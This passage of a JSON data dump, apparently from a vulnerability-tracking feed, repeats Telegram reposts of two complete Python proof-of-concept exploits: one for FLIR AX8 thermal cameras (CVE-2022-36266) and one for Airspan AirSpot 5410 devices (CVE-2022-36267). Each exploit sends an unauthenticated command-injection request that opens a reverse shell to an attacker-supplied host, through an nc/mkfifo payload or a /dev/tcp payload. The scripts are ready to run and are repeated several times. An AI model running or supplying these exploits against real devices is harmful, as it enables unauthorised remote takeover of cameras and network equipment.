LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:41.585588Z"}, {"uuid": "694f9230-2bae-47fa-8d8e-447087466de7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36266", "type": "seen", "source": "https://t.me/hacking_Attack/66025", "content": "Exploit Collector\nFLIX AX8 1.46.16 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.\n\nSHA-256 | c15429c7636538e3c66b41a8e08cead26806777a1c4d976fe977decddd2d2157Download # -*- coding: utf-8 -*-\n\n# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection\n# Date: 8/19/2022\n# Exploit Author: Samy Younsi Naqwada (https://samy.link)\n# Vendor Homepage: https://www.flir.com/\n# Software Link: https://www.flir.com/products/ax8-automation/\n# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok\n# Version: 1.46.16 and under.\n# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)\n# CVE : CVE-2022-36266\n\nfrom __future__ import print_function, unicode_literals\nfrom bs4 import BeautifulSoup\nimport argparse\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nflirLogo = \"\"\" \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557     \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n\u2588\u2588\u2554\u2550\u2550\u255d  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551 \n\u255a\u2550\u255d     \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\n.---------------------. \n\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557  /--'--.------.--------/| \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u255a\u2588\u2588\u2557\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |Say :) |__Ll__| [==] || \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2554\u255d \u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |cheese!| .--. | '''' || \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551 \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |       |( () )|      || \n\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u255d \u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |       | `--` |      |/ \n\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u255d  `-------`------`------` \n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m \n\\033[1;91mFLIR AX8 Unauthenticated OS Command Injection\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(flirLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'http://{}:{}/login/'.format(RHOST, RPORT)\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=60)\ntry:\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nsoup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')\nversion = soup.find('p', id = 'login-title').string\nprint('[INFO] {} detected.'.format(version))\nexcept:\nprint('[ERROR] Can\\'t grab the device version...')\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\nurl = 'http://{}:{}/res.php'.format(RHOST, RPORT)\npayload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)\ndata = 'action=alarm&id=2;{}'.format(payload)\n\nheaders = {\n'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n}\n\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)\nprint('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)\nreturn False\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (FLIR AX8 device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine.\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain() Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:40.243917Z"}, {"uuid": "7be96671-3da7-488a-9bc9-addc8643ea48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36266", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/66025", "content": "Exploit Collector\nFLIX AX8 1.46.16 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.\n\nSHA-256 | c15429c7636538e3c66b41a8e08cead26806777a1c4d976fe977decddd2d2157Download # -*- coding: utf-8 -*-\n\n# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection\n# Date: 8/19/2022\n# Exploit Author: Samy Younsi Naqwada (https://samy.link)\n# Vendor Homepage: https://www.flir.com/\n# Software Link: https://www.flir.com/products/ax8-automation/\n# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok\n# Version: 1.46.16 and under.\n# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)\n# CVE : CVE-2022-36266\n\nfrom __future__ import print_function, unicode_literals\nfrom bs4 import BeautifulSoup\nimport argparse\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nflirLogo = \"\"\" \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557     \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n\u2588\u2588\u2554\u2550\u2550\u255d  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551 \n\u255a\u2550\u255d     \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\n.---------------------. \n\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557  /--'--.------.--------/| \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u255a\u2588\u2588\u2557\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |Say :) |__Ll__| [==] || \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2554\u255d \u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |cheese!| .--. | '''' || \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551 \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |       |( () )|      || \n\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u255d \u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |       | `--` |      |/ \n\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u255d  `-------`------`------` \n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m \n\\033[1;91mFLIR AX8 Unauthenticated OS Command Injection\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(flirLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'http://{}:{}/login/'.format(RHOST, RPORT)\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=60)\ntry:\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nsoup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')\nversion = soup.find('p', id = 'login-title').string\nprint('[INFO] {} detected.'.format(version))\nexcept:\nprint('[ERROR] Can\\'t grab the device version...')\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\nurl = 'http://{}:{}/res.php'.format(RHOST, RPORT)\npayload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)\ndata = 'action=alarm&id=2;{}'.format(payload)\n\nheaders = {\n'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n}\n\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)\nprint('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)\nreturn False\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (FLIR AX8 device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine.\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain() Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T11:00:04.007607Z"}, {"uuid": "b0470cd1-f60f-44d3-9151-36bc48ead50c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T12:00:05.856750Z"}, {"uuid": "09439136-a3fa-4078-b0aa-19a5674e0421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:48.872356Z"}, {"uuid": "6f729377-94de-438a-86e4-c7783a3372cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36266", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/66025", "content": "Exploit Collector\nFLIX AX8 1.46.16 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.\n\nSHA-256 | c15429c7636538e3c66b41a8e08cead26806777a1c4d976fe977decddd2d2157Download # -*- coding: utf-8 -*-\n\n# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection\n# Date: 8/19/2022\n# Exploit Author: Samy Younsi Naqwada (https://samy.link)\n# Vendor Homepage: https://www.flir.com/\n# Software Link: https://www.flir.com/products/ax8-automation/\n# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok\n# Version: 1.46.16 and under.\n# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)\n# CVE : CVE-2022-36266\n\nfrom __future__ import print_function, unicode_literals\nfrom bs4 import BeautifulSoup\nimport argparse\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nflirLogo = \"\"\" \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557     \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n\u2588\u2588\u2554\u2550\u2550\u255d  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551 \n\u255a\u2550\u255d     \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\n.---------------------. \n\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557  /--'--.------.--------/| \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u255a\u2588\u2588\u2557\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |Say :) |__Ll__| [==] || \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2554\u255d \u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |cheese!| .--. | '''' || \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551 \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |       |( () )|      || \n\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u255d \u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |       | `--` |      |/ \n\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u255d  `-------`------`------` \n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m \n\\033[1;91mFLIR AX8 Unauthenticated OS Command Injection\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(flirLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'http://{}:{}/login/'.format(RHOST, RPORT)\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=60)\ntry:\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nsoup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')\nversion = soup.find('p', id = 'login-title').string\nprint('[INFO] {} detected.'.format(version))\nexcept:\nprint('[ERROR] Can\\'t grab the device version...')\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\nurl = 'http://{}:{}/res.php'.format(RHOST, RPORT)\npayload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)\ndata = 'action=alarm&id=2;{}'.format(payload)\n\nheaders = {\n'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n}\n\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)\nprint('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)\nreturn False\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (FLIR AX8 device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine.\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain() Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:49.572137Z"}]}